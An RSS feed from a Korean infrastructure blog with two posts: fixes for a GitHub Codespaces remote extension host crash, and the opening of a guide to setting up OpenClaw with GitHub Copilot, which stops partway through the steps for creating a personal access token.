<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>눙이의 인프라 메모장</title>
    <link>https://noong2.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sun, 17 May 2026 17:29:55 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>wogho</managingEditor>
    <image>
      <title>눙이의 인프라 메모장</title>
      <url>https://tistory1.daumcdn.net/tistory/4384908/attach/2289a5fc410d4421a3c5f47fadfb9f65</url>
      <link>https://noong2.tistory.com</link>
    </image>
    <item>
      <title>codespace 원격 확장 호스트가 지난 5분 동안 3번 예기치 않게 종료되었습니다.</title>
      <link>https://noong2.tistory.com/251</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RskwH/dJMcabDNsry/kbKnsrUhw4HzSUUHtPZADK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RskwH/dJMcabDNsry/kbKnsrUhw4HzSUUHtPZADK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RskwH/dJMcabDNsry/kbKnsrUhw4HzSUUHtPZADK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRskwH%2FdJMcabDNsry%2FkbKnsrUhw4HzSUUHtPZADK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;559&quot; height=&quot;132&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;방대한 바이브코드를 사용하여, 원격 호스트가 뻗은 상황입니다.&lt;br /&gt;코드스페이스의 크기나 레벨과 관련이 있습니다. &lt;br /&gt;&lt;br /&gt;예를 들어, 8코어로 업그레이드하면 가끔 문제가 해결되는 것 같지만, &lt;br /&gt;기본 2코어를 사용하면 더 자주 발생합니다.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-type=&quot;image&quot; data-ke-style=&quot;style1&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;해결 방법&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;261&quot; data-origin-height=&quot;325&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AzsJg/dJMcaaEUmAY/kIZVS7e2uJaOKn4bkdigY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AzsJg/dJMcaaEUmAY/kIZVS7e2uJaOKn4bkdigY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AzsJg/dJMcaaEUmAY/kIZVS7e2uJaOKn4bkdigY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAzsJg%2FdJMcaaEUmAY%2FkIZVS7e2uJaOKn4bkdigY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;331&quot; height=&quot;412&quot; data-origin-width=&quot;261&quot; data-origin-height=&quot;325&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;1. 8-core로 사양 업데이트 (Chage machine type)&amp;nbsp;&lt;br /&gt;2. VScode로 열어서 작업하기 (Open in Visual Studio Code)&lt;br /&gt;3. 새 작업 공간 재생성 하기 또는 로컬로 진행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3 가지 중 하나의 방법 선택&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/microsoft/semantic-kernel/issues/1347&quot;&gt;Remote Extension Host Fails on Codespaces off of main &amp;middot; Issue #1347 &amp;middot; microsoft/semantic-kernel&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775729129539&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Remote Extension Host Fails on Codespaces off of main &amp;middot; Issue #1347 &amp;middot; microsoft/semantic-kernel&quot; data-og-description=&quot;Describe the bug (As of main branch, today) After 5 minutes activity, the error &amp;ldquo;Remote Extension host terminated unexpectedly 3 times within the last 5 minutes.&amp;rdquo; Is displayed. To Reproduce Steps t...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/microsoft/semantic-kernel/issues/1347&quot; data-og-url=&quot;https://github.com/microsoft/semantic-kernel/issues/1347&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/c41xtA/dJMb8869NmH/a98Dk7187EsavgAjfRkF10/img.png?width=1200&amp;amp;height=600&amp;amp;face=84_101_1085_525,https://scrap.kakaocdn.net/dn/2vh5V/dJMb8SXyJ7W/hRVkctKsk0hb4EzZrVHXL1/img.png?width=1200&amp;amp;height=600&amp;amp;face=84_101_1085_525&quot;&gt;&lt;a href=&quot;https://github.com/microsoft/semantic-kernel/issues/1347&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/microsoft/semantic-kernel/issues/1347&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/c41xtA/dJMb8869NmH/a98Dk7187EsavgAjfRkF10/img.png?width=1200&amp;amp;height=600&amp;amp;face=84_101_1085_525,https://scrap.kakaocdn.net/dn/2vh5V/dJMb8SXyJ7W/hRVkctKsk0hb4EzZrVHXL1/img.png?width=1200&amp;amp;height=600&amp;amp;face=84_101_1085_525');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Remote Extension Host Fails on Codespaces off of main &amp;middot; Issue #1347 &amp;middot; microsoft/semantic-kernel&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Describe the bug (As of main branch, today) After 5 minutes activity, the error &amp;ldquo;Remote Extension host terminated unexpectedly 3 times within the last 5 minutes.&amp;rdquo; Is displayed. To Reproduce Steps t...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://community.firebasestudio.dev/t/remote-extension-host-terminated-unexpectedly-3-times-within-the-last-5-minutes/170/6&quot;&gt;Remote Extension host terminated unexpectedly 3 times within the last 5 minutes - General - Firebase Studio Community&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775729140153&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Remote Extension host terminated unexpectedly 3 times within the last 5 minutes&quot; data-og-description=&quot;experiencing the same issue, recreate new workspace is only resolution very small next.js learning project&quot; data-og-host=&quot;community.firebasestudio.dev&quot; data-og-source-url=&quot;https://community.firebasestudio.dev/t/remote-extension-host-terminated-unexpectedly-3-times-within-the-last-5-minutes/170/6&quot; data-og-url=&quot;https://community.firebasestudio.dev/t/remote-extension-host-terminated-unexpectedly-3-times-within-the-last-5-minutes/170/6&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bjDh8r/dJMb8T90sg7/UkVff80g3BMAacV01HfET1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/EAVbj/dJMb8ZvCqOz/ALRCVNhKRVu2vEhTuyHpHK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://community.firebasestudio.dev/t/remote-extension-host-terminated-unexpectedly-3-times-within-the-last-5-minutes/170/6&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://community.firebasestudio.dev/t/remote-extension-host-terminated-unexpectedly-3-times-within-the-last-5-minutes/170/6&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bjDh8r/dJMb8T90sg7/UkVff80g3BMAacV01HfET1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/EAVbj/dJMb8ZvCqOz/ALRCVNhKRVu2vEhTuyHpHK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Remote Extension host terminated unexpectedly 3 times within the last 5 minutes&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;experiencing the same issue, recreate new workspace is only resolution very small next.js learning project&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;community.firebasestudio.dev&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Cloud</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/251</guid>
      <comments>https://noong2.tistory.com/251#entry251comment</comments>
      <pubDate>Thu, 9 Apr 2026 19:06:02 +0900</pubDate>
    </item>
    <item>
      <title>무료 OpenClaw 환경 구축하기 (GitHub Copilot 및 Paperclip 연동)</title>
      <link>https://noong2.tistory.com/250</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1566&quot; data-origin-height=&quot;708&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rbBDO/dJMcai3PLd2/TcXuaJqUSTSRaIs5Rjlsk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rbBDO/dJMcai3PLd2/TcXuaJqUSTSRaIs5Rjlsk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rbBDO/dJMcai3PLd2/TcXuaJqUSTSRaIs5Rjlsk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrbBDO%2FdJMcai3PLd2%2FTcXuaJqUSTSRaIs5Rjlsk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;336&quot; data-origin-width=&quot;1566&quot; data-origin-height=&quot;708&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 글은 &lt;b&gt;Terraform&lt;/b&gt;을 통한 OpenClaw &lt;b&gt;설치 환경&lt;/b&gt;을 보여줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;직접 타이핑&lt;/b&gt;하여 세팅하셔도 되고, &lt;b&gt;Docker&lt;/b&gt;를 사용하셔도 좋습니다.&lt;br /&gt;개인적으로&lt;b&gt; Docker&lt;/b&gt;가 가장 편안 선택지 아닐까 싶습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Terraform 설치&lt;/b&gt;와&lt;b&gt; Oracle Cloud&lt;/b&gt;&amp;nbsp;&lt;b&gt;인프라 구성&lt;/b&gt;은 해당 글을 참고 하시길 바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; 로컬&lt;/b&gt;에 구축하셔도 좋고, 따로 &lt;b&gt;개인 서버&lt;/b&gt; 돌리셔도 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://noong2.tistory.com/249&quot;&gt;Terraform 활용한 Oracle Cloud 인스턴스 생성 &amp;mdash; 눙이의 인프라 메모장&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775104318207&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Terraform 활용한 Oracle Cloud 인스턴스 생성&quot; data-og-description=&quot;OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서 지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.해당 글은 Terraform를 활용하여 Oracle Cloud 인스턴스 생성하&quot; data-og-host=&quot;noong2.tistory.com&quot; data-og-source-url=&quot;https://noong2.tistory.com/249&quot; data-og-url=&quot;https://noong2.tistory.com/249&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/MVNCG/dJMb88688nG/Cr5WjuaWvRYjFuUJJhJZB1/img.png?width=800&amp;amp;height=507&amp;amp;face=0_0_800_507,https://scrap.kakaocdn.net/dn/beWymk/dJMb86O16qQ/Fgn6zRkmKkHETo0kG7KKGK/img.png?width=800&amp;amp;height=507&amp;amp;face=0_0_800_507,https://scrap.kakaocdn.net/dn/nMQff/dJMb9c9ybCz/eZ7veSplVTBz2KEDfuSm71/img.png?width=2838&amp;amp;height=1058&amp;amp;face=0_0_2838_1058&quot;&gt;&lt;a href=&quot;https://noong2.tistory.com/249&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://noong2.tistory.com/249&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/MVNCG/dJMb88688nG/Cr5WjuaWvRYjFuUJJhJZB1/img.png?width=800&amp;amp;height=507&amp;amp;face=0_0_800_507,https://scrap.kakaocdn.net/dn/beWymk/dJMb86O16qQ/Fgn6zRkmKkHETo0kG7KKGK/img.png?width=800&amp;amp;height=507&amp;amp;face=0_0_800_507,https://scrap.kakaocdn.net/dn/nMQff/dJMb9c9ybCz/eZ7veSplVTBz2KEDfuSm71/img.png?width=2838&amp;amp;height=1058&amp;amp;face=0_0_2838_1058');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Terraform 활용한 Oracle Cloud 인스턴스 생성&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서 지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.해당 글은 Terraform를 활용하여 Oracle Cloud 인스턴스 생성하&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;noong2.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;GitHub Copilot&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GPT 모델&lt;/b&gt;을 무료로 사용하기 위해서는 &lt;b&gt;GitHub Education&lt;/b&gt; 계정이 필요합니다.&lt;br /&gt;만 13세 이상의 &lt;b&gt;중학생&lt;/b&gt;부터 &lt;b&gt;대학생, 교사&lt;/b&gt; 신분이시라면&amp;nbsp;날짜가 명시된 &lt;b&gt;재학증명서&lt;/b&gt;을 통해서 신청이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/education?locale=ko-kr&quot;&gt;GitHub Education&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775105036694&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub Education&quot; data-og-description=&quot;&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/education?locale=ko-kr&quot; data-og-url=&quot;https://github.com/education?locale=ko-kr&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://github.com/education?locale=ko-kr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/education?locale=ko-kr&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub Education&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;학생 신분&lt;/b&gt;에 해당이 안된다면, &lt;b&gt;월 $10&lt;/b&gt;으로 이용이 가능하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 &lt;b&gt;학생 계정&lt;/b&gt;이지만&lt;b&gt; Claude Opus&lt;/b&gt; 사용할것이기 때문에&lt;b&gt; Pro 플랜&lt;/b&gt;을 구독하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이것 또한 부담이 되신다면, &lt;b&gt;사양 좋은 로컬 환경&lt;/b&gt;에&lt;b&gt; vLLM&lt;/b&gt;이나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무료 모델인 &lt;b&gt;qwen3-coder:free&lt;/b&gt; 사용도 하나의 대안입니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Github&lt;/b&gt; 전체 요금제에 대한 비교 항목입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.github.com/ko/copilot/get-started/plans&quot;&gt;GitHub 코필로트 계획 - GitHub 문서&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775105106755&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;GitHub 코필로트 계획 - GitHub 문서&quot; data-og-description=&quot;Copilot에 사용 가능한 플랜에 대해 알아보세요.&quot; data-og-host=&quot;docs.github.com&quot; data-og-source-url=&quot;https://docs.github.com/ko/copilot/get-started/plans&quot; data-og-url=&quot;https://docs-internal.github.com/ko/copilot/get-started/plans&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/deKj6v/dJMb8SpIhY3/8cuVQQXyd9VfDFGsngtZTk/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628,https://scrap.kakaocdn.net/dn/bxZWiZ/dJMb8WMpVbh/LM0KFVFp0mCksZwRyUQ401/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628&quot;&gt;&lt;a href=&quot;https://docs.github.com/ko/copilot/get-started/plans&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.github.com/ko/copilot/get-started/plans&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/deKj6v/dJMb8SpIhY3/8cuVQQXyd9VfDFGsngtZTk/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628,https://scrap.kakaocdn.net/dn/bxZWiZ/dJMb8WMpVbh/LM0KFVFp0mCksZwRyUQ401/img.png?width=1200&amp;amp;height=628&amp;amp;face=0_0_1200_628');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub 코필로트 계획 - GitHub 문서&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Copilot에 사용 가능한 플랜에 대해 알아보세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Github&lt;/b&gt; 플랜에 구독 하셨다면, &lt;b&gt;OpenClaw&lt;/b&gt; 연동을 위한 &lt;b&gt;키 발급&lt;/b&gt;이 필요합니다.&lt;br /&gt;&lt;b&gt;Github&lt;/b&gt;에 로그인 하셔서 다음 과정을 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B6F1P/dJMcabDHLrl/yd4UZHIghIvVSDKVX0jKLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B6F1P/dJMcabDHLrl/yd4UZHIghIvVSDKVX0jKLK/img.png&quot; data-alt=&quot;프로필 아이콘 - Settings&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B6F1P/dJMcabDHLrl/yd4UZHIghIvVSDKVX0jKLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB6F1P%2FdJMcabDHLrl%2Fyd4UZHIghIvVSDKVX0jKLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;938&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프로필 아이콘 - Settings&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/edzyFU/dJMcahKHc16/4uyDY6bgZPOV0NzH0tEAV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/edzyFU/dJMcahKHc16/4uyDY6bgZPOV0NzH0tEAV1/img.png&quot; data-alt=&quot;Developer settings&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/edzyFU/dJMcahKHc16/4uyDY6bgZPOV0NzH0tEAV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FedzyFU%2FdJMcahKHc16%2F4uyDY6bgZPOV0NzH0tEAV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;82&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Developer settings&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caiW68/dJMcaibL30W/0UKvnTIt20GgN33oSc3Ly1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caiW68/dJMcaibL30W/0UKvnTIt20GgN33oSc3Ly1/img.png&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;176&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;57.97&quot; style=&quot;width: 57.3008%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caiW68/dJMcaibL30W/0UKvnTIt20GgN33oSc3Ly1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaiW68%2FdJMcaibL30W%2F0UKvnTIt20GgN33oSc3Ly1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HosSS/dJMcaiQjwe1/IgRqX3YH6WzfBfBTgmo2Z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HosSS/dJMcaiQjwe1/IgRqX3YH6WzfBfBTgmo2Z0/img.png&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;296&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.5364%;&quot; data-widthpercent=&quot;42.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HosSS/dJMcaiQjwe1/IgRqX3YH6WzfBfBTgmo2Z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHosSS%2FdJMcaiQjwe1%2FIgRqX3YH6WzfBfBTgmo2Z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Personal access tokens - Tokens (classic)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
